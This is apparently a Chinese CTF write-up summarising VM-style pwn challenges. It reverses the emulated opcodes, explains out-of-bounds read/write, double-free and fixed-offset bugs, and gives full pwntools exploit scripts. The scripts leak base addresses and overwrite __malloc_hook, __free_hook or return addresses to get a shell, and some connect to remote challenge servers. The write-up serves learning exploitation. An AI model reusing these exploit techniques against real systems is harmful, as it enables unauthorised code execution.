VMPwn泛指实现一些运算指令来模拟程序运行的Pwn题。去年十二月的时候跟着0xC4m3l
师傅的文章系统学习了一下VMPwn,到今天发现VMPwn已经成了一个主流的出题方向,在去年的上海大学生网络安全大赛和红帽杯的线下也有几道VMPwn,因此我这里拿几道最近的题目来总结一下此类问题的一般思路。
我们现在常见到的VMPwn基本设计如下:
典型的题目有ciscn_2019_virtual、Ogeek_ovm、D3CTF_babyrop等。除了这种在机器码层面模拟程序执行的题目,还有模拟运行高级语言代码的题目,二者侧重点不太一样,我们分别拿例题来讲解。
这类问题的核心就是逆向,漏洞多是越界读写,先分析VM接收的数据格式,之后通过静态代码分析和动态调试搞清每条模拟指令的含义,再根据指令进行组合利用漏洞。
在逆指令前,可以通过IDA的结构体导入功能导入C语言形式的结构体,简化代码。经过分析,核心的数据结构是这样一个node结构体。
struct node{ unsigned int reg[6]; unsigned int chunk1; unsigned int chunk2; unsigned int memchunk; unsigned int res2; unsigned int chunk_addr; };
首先是main函数的代码,大的功能是分配一块区域供用户写指令和数据,将这块内存作为参数交与VM虚拟机执行,释放堆内存以及给一个present。
int __cdecl main(int argc, const char **argv, const char **envp) { void *buf; // ST2C_4 node *ptr; // [esp+18h] [ebp-18h] int bss_addr; // [esp+ACh] [ebp+7Ch] Init(); ptr = SetInit(); while ( 1 ) { switch ( menu() ) { case 1: buf = malloc(0x300u); // produce read(0, buf, 0x2FFu); ptr->mem_chunk = (unsigned int)buf; break; case 2: // start if ( !ptr ) exit(0); MainMethod(ptr); break; case 3: if ( !ptr ) exit(0); free((void *)ptr->chunk_addr); // Recycle,double free free(ptr); break; case 4: puts("Maybe a bug is a gif?"); some_bss_val = bss_addr; // 这里需要调试看到这个值 ptr->mem_chunk = (unsigned int)&unk_3020; break; case 5: puts("Zzzzzz........"); exit(0); return; default: puts("Are you kidding me ?"); break; } } }
MainMethod函数实现的指令比较多,我们截取漏洞利用用到的,其他的指令还有add,sub,sub,mul,div,xor,>>,<<,return,or,and
。
0x80这条指令同Magic函数相关,在IDA中其反编译的效果并不好,在gdb动态调试之后我们可以发现这条指令的含义是ptr_chunk[idx]=val
,其中idx和val都是可控数据,因此这里存在堆越界写。
0x53指令调用putchar输出*reg[3]
的值。
0x76指令设置reg[3]=*(ptr_chunk->chunk1)
。
0x54指令调用getchar函数向ptr_chunk->reg[3]
存储的地址里输入值。
0x9指令将我们main函数中获取的present赋值给ptr_chunk->reg[1]
,配合指令0x11可以将这个值输出。
unsigned int __cdecl MainMethod(node *ptr_chunk) { //... if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x80u ) { ptr_chunk->reg[Magic(ptr_chunk, 1u)] = *(_DWORD *)(ptr_chunk->mem_chunk + 2);// magic here,prt_chunk[可控idx] = 可控数字 ptr_chunk->mem_chunk += 6; } if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x53 )// leak { putchar(*(char *)ptr_chunk->reg[3]); // 改为got表 ptr_chunk->mem_chunk += 2; } if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x76 ) { ptr_chunk->reg[3] = *(_DWORD *)ptr_chunk->chunk1;// set val *(_DWORD *)ptr_chunk->chunk1 = 0; ptr_chunk->chunk1 += 4; ptr_chunk->mem_chunk += 5; } if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x54 )// get input;get shell { v1 = (_BYTE *)ptr_chunk->reg[3]; *v1 = getchar(); ptr_chunk->mem_chunk += 2; } if ( *(_BYTE *)ptr_chunk->mem_chunk == 9 ) { ptr_chunk->reg[1] = some_bss_val; // set bss addr ++ptr_chunk->mem_chunk; } if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x11 )// leak proc base { printf("%p\n", ptr_chunk->reg[1]); ++ptr_chunk->mem_chunk; } //... } int __cdecl Magic(node *ptr_chunk, unsigned int one) { int result; // eax unsigned int v3; // [esp+1Ch] [ebp-Ch] v3 = __readgsdword(0x14u); result = 0; if ( one <= 2 ) result = *(unsigned __int8 *)(*(unsigned int *)((char *)ptr_chunk->reg + (_DWORD)(&free_ptr - 0xBE7)) + one); if ( __readgsdword(0x14u) != v3 ) chk_fail(); return result; }
这里的漏洞就是0x80指令的越界问题,以及main函数中清空堆块时的double free,还有出题人留的一个present。
我们首先用gdb调试查看所谓的present,发现是一个bss地址,因此使用0x9+0x11
可以泄露程序加载基址proc_base
。
有了基址我们使用0x80
指令将reg[3]
改为puts@got
,配合0x53
的单字节打印分4次输出得到puts函数地址从而得到libc基址。
泄露heap地址也同理,我们用0x80
指令将reg[3]
改成main_arena->bins[]
中的smallbin
的存储地址,再调用0x53
指令输出得到heap基址。
最后Getshell需要0x80+0x76+0x54
,我们在堆上写一个__malloc_hook
地址,通过0x80指令将ptr_chunk->chunk1
改成存储__malloc_hook
的堆地址,0x76指令
则将这个地址赋值给reg[3]
,而0x54
指令可以单字节向__malloc_hook
输入值,我们分4次写入one_gadget
即可。
#coding=utf-8 from pwn import * r = lambda p:p.recv() rl = lambda p:p.recvline() ru = lambda p,x:p.recvuntil(x) rn = lambda p,x:p.recvn(x) rud = lambda p,x:p.recvuntil(x,drop=True) s = lambda p,x:p.send(x) sl = lambda p,x:p.sendline(x) sla = lambda p,x,y:p.sendlineafter(x,y) sa = lambda p,x,y:p.sendafter(x,y) context.update(arch='i386',os='linux',log_level='debug') context.terminal = ['tmux','split','-h'] debug = 0 elf = ELF('./EasyVM') libc_offset = 0x3c4b20 gadgets = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6] if debug: libc = ELF('/lib/i386-linux-gnu/libc.so.6') p = process('./EasyVM') else: libc = ELF('./libc-2.23.so') p = remote('121.36.215.224',9999) def Add(content): p.recvuntil('>>>') p.sendline('1') sleep(0.02) p.send(content) def Start(): p.recvuntil('>>>') p.sendline('2') def Delete(): p.recvuntil('>>>') p.sendline('3') def Gift(): p.recvuntil('>>>') p.sendline('4') def exp(): #leak proc base Gift() data = p8(0x9)+p8(0x11)+p8(0x99) Add(data) Start() p.recvuntil("0x") code_base = int(p.recvn(8),16) - (0x565556c0-0x56555000) log.success("code base => " + hex(code_base)) #leak libc Delete() data = p8(0x80)+p8(0x3)+p32(code_base+0x0002fd0)+p8(0x53)+'\x00' data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd1)+p8(0x53)+'\x00' data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd2)+p8(0x53)+'\x00' data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd3)+p8(0x53)+'\x00' data += '\x99' Add(data) Start() p.recvn(2) libc_base = u32(p.recvn(4)) - libc.sym['puts'] log.success("libc base => " + hex(libc_base)) #leak heap target = libc_base + (0xf7fb2150-0xf7e00000) malloc = libc_base + libc.sym['__malloc_hook'] shell = libc_base + gadgets[1] data = p8(0x80)+p8(0x3)+p32(target)+p8(0x53)+'\x00' data += p8(0x80)+p8(0x3)+p32(target+1)+p8(0x53)+'\x00' data += p8(0x80)+p8(0x3)+p32(target+2)+p8(0x53)+'\x00' data += p8(0x80)+p8(0x3)+p32(target+3)+p8(0x53)+'\x00' data += '\x99' Add(data) Start() p.recvn(2) heap_base = u32(p.recvn(4)) log.success("heap base => " + hex(heap_base)) #get shell fake_heap = heap_base + (0x56559aaf-0x56559000) fake_heap1 = heap_base + (0x56559abc-0x56559000) fake_heap2 = heap_base + (0x56559ac9-0x56559000) fake_heap3 = heap_base + (0x56559ad6-0x56559000) data = p8(0x80)+p8(0x6)+p32(fake_heap)+p8(0x76)+p32(malloc)+p8(0x54)+'\x00' data += p8(0x80)+p8(0x6)+p32(fake_heap1)+p8(0x76)+p32(malloc+1)+p8(0x54)+'\x00' data += p8(0x80)+p8(0x6)+p32(fake_heap2)+p8(0x76)+p32(malloc+2)+p8(0x54)+'\x00' data += p8(0x80)+p8(0x6)+p32(fake_heap3)+p8(0x76)+p32(malloc+3)+p8(0x54)+'\x00' data += '\x99' Add(data) Start() raw_input() p.send(p8(shell&0xff)) raw_input() p.send(p8((shell&0xffff)>>8)) raw_input() p.send(p8((shell>>16)&0xff)) raw_input() p.send(p8((shell>>24))) #gdb.attach(p,'b* 0x56555000+ 0xcaf') p.recvuntil('>>>') p.sendline('3') p.interactive() exp()
main函数的开始部分分配了两个大小为0x40000uLL
的堆块,因为大于了默认的heap分配阈值,调用mmap分配内存,在堆地址中存储了一个栈地址。
setbuf(stdout, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); chunk_addr = (signed __int64 *)malloc(0x40000uLL);// >0x23000,mmap buf = (char *)malloc(0x40000uLL); printf("MC execution system\nInput your code> ", 0LL); read(0, buf, 0x120uLL); chunk_addr += 0x8000; chunk_8000_addr = chunk_addr; --chunk_addr; *chunk_addr = 0x1ELL; --chunk_addr; *chunk_addr = 0xDLL; v4 = chunk_addr; --chunk_addr; *chunk_addr = a1 - 1; --chunk_addr; *chunk_addr = (signed __int64)(a2 + 1); // 这里放了栈地址进去 chunk_8000_addr_sub_1 = chunk_addr - 1; *chunk_8000_addr_sub_1 = (signed __int64)v4; // 堆里保存了自己的地址 v37 = 0LL;
整个虚拟机只能执行一次,且最多执行30条指令,这里依然是只分析重点的指令,其他包括v36和*chunk_8000_addr_sub_1
的add/sub/mul/div/>>/&/^
等运算,不一而足。
0x0的指令存在一个明显的堆越界读,将数据赋值给v36。
0x6的指令存在同样的问题,只不过赋值的对象变成了chunk_8000_addr_sub_1
。
0x9指令将v36作为地址取值再赋给v36。
0x11指令为v36的双重取值再赋值。
0x13指令执行*chunk_8000_addr_sub_1 = v36
,这条指令将v36和chunk_8000_addr_sub_1关联了起来。
//choice=0 buf2 = buf;// choice为0 buf += 8; v36 = (signed __int64)&chunk_8000_addr[*buf2];// v7可控的话这里有堆越界 //choice=1 buf3 = (signed __int64 *)buf;// choice=1 buf += 8; v36 = *buf3;// 取buf值赋值给v36 // choice=6 chunk_8000_addr_sub_2 = chunk_8000_addr_sub_1 - 1; *chunk_8000_addr_sub_2 = (signed __int64)chunk_8000_addr; chunk_8000_addr = chunk_8000_addr_sub_2; buf4 = buf; buf += 8; chunk_8000_addr_sub_1 = &chunk_8000_addr_sub_2[-*buf4];// (注意要乘8)前溢将堆地址赋值给这个值 //choice=9 v36 = *(_QWORD *)v36;//取8字节v36地址上的值赋给v36 //choice=11 v13 = (signed __int64 **)chunk_8000_addr_sub_1;// v13先放一个map地址,这个地址的值是retn_addr ++chunk_8000_addr_sub_1; **v13 = v36;//两次取值,赋值为一个可控值 //choice=13 --chunk_8000_addr_sub_1;//把v36写到堆上 *chunk_8000_addr_sub_1 = v36;// 先让v36得到我们的那个目标值
这里没有输出函数,我们考虑将返回地址的__libc_start_main
函数直接拷贝到map地址,通过加运算得到one_gadget
。
将map上的原栈地址进行加减运算得到retn_addr
,再用双重赋值指令把one_gadget
写入到retn_addr
。在exp注释中详细解释了每一条指令的目的。
#coding=utf-8 from pwn import * r = lambda p:p.recv() rl = lambda p:p.recvline() ru = lambda p,x:p.recvuntil(x) rn = lambda p,x:p.recvn(x) rud = lambda p,x:p.recvuntil(x,drop=True) s = lambda p,x:p.send(x) sl = lambda p,x:p.sendline(x) sla = lambda p,x,y:p.sendlineafter(x,y) sa = lambda p,x,y:p.sendafter(x,y) context.update(arch='amd64',os='linux',log_level='DEBUG') context.terminal = ['tmux','split','-h'] debug = 2 elf = ELF('./pwn') libc_offset = 0x3c4b20 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc = ELF('./libc6_2.23-0ubuntu10_amd64.so') if debug == 1: gadgets = [0x45216,0x4526a,0xcd0f3,0xcd1c8,0xf02a4,0xf02b0,0xf1147,0xf66f0] p = process('./pwn') elif debug == 2: gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147] p = process('./pwn', env={'LD_PRELOAD':'./libc6_2.23-0ubuntu10_amd64.so'}) else: p = remote('182.92.73.10',36642) def exp(): #environ+0xf0 = retn_addr libc_base = 0x7ffff7a0d000 shell_addr = gadgets[3] target = libc.sym['__libc_start_main']+240 off = shell_addr - target print hex(off) p.recvuntil("Input your code> ") #gdb.attach(p,'b* 0x0000555555554000+0xb72') #gdb.attach(p,'b* 0x0000555555554000+0xe43') #set args = bin_sh payload = flat([ 0,-4,#set v36 = map_addr(stack_addr on it) 9,#set v36 = stack_addr 6,0x101e0,#set chunk_8000_addr_sub_1 25,#set v36 = retn_addr 6,-0x101e3,#set chunk_8000_addr_sub_1 = map_addr 13,#set map_addr(retn_addr) 9,#set v36 = libc_start_main+240 6,0x101e0,#set map_addr 25,#set v36 = one_gadget 6,-0x101e1,#set chunk_8000_addr_sub_1 = map_addr 11,#set retn_addr(one_gadget) ]) payload = payload.ljust(8*26,'\x00') payload += flat([ -0xe8,off,0x12345678 ]) p.sendline(payload) p.interactive() exp()
这类VM主要接收用户的高级语言形式的代码,模拟编译执行,相比于汇编类的VM,它更加灵活,难度也更高,做题没有固定的套路,需要自己结合题目环境解题。
题目是用llvm自己实现的一个小型编译器,是llvmcookbook的示例改的,toy语言,看Kaleidoscope这个名字应该就可以找到教程,gettok里定义了一些标识符,在划分语元的时候使用,这里有def、extern、if等。
在引用未定义的函数会提示Error: Unknown function referenced
, 假如我们定义一个名称与库函数相同且没有body的函数(如def system(a);
), 第一次调用提示Error: Unknown unary operator
, 之后能调用到库函数,因此我们调用mmap
分配一块固定内存地址存放/bin/sh
,之后调用sytem(map_addr)
来get shell。
from pwn import * p = process("./pwn2") p.recvuntil("ready> ") p.sendline("def mmap(a b c d e f);") p.recvuntil("ready> ") p.sendline("mmap(1,1,1,1,1,1);") p.recvuntil("ready> ") p.sendline("def read(a b c);") p.recvuntil("ready> ") p.sendline("read(1,1,1);") p.recvuntil("ready> ") p.sendline("mmap("+str(0x10000)+","+str(0x1000)+",3,34,0,0);") p.recvuntil("ready> ") p.recvuntil("ready> ") p.sendline("read(0,65536,20);") p.recvuntil("ready> ") p.sendline("/bin/sh") p.recvuntil("ready> ") p.sendline("def system(a);") p.recvuntil("ready> ") p.sendline("system(0);") p.recvuntil("ready> ") p.sendline("system(65536);") p.interactive()
这道题目也是一道编译器类的VM,程序限制我们只能进行一次函数调用,在调试过程中可以发现存储我们指令的内存地址是通过map得到的,因此其地址和libc地址偏移是固定的,我们可以定义一个变量,从这个变量的地址寻址到__free_hook
和system
函数,将后者覆写到前者,再调用free('/bin/sh')
即可。
#coding=utf-8 from pwn import * r = lambda p:p.recv() rl = lambda p:p.recvline() ru = lambda p,x:p.recvuntil(x) rn = lambda p,x:p.recvn(x) rud = lambda p,x:p.recvuntil(x,drop=True) s = lambda p,x:p.send(x) sl = lambda p,x:p.sendline(x) sla = lambda p,x,y:p.sendlineafter(x,y) sa = lambda p,x,y:p.sendafter(x,y) context.update(arch='amd64',os='linux',log_level='DEBUG') context.terminal = ['tmux','split','-h'] debug = 1 elf = ELF('./pwn') libc_offset = 0x3c4b20 gadgets = [0x45216,0x4526a,0xf02a4,0xf1147] if debug: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process('./pwn') def exp(): gdb.attach(p,'b* 0x555555558724') p.recvuntil("I'm living...") payload = '''main(){int a;a=0x12345677;*(&a-161542)=&a-620937;free("/bin/sh");}''' p.sendline(payload) p.interactive() exp()
从我们举的例题中可以看到汇编类的VMPwn核心是逆向和对于已有指令的组合,编译器类的VMPwn则需要动态的调试去寻找规律,相比于前者更加复杂。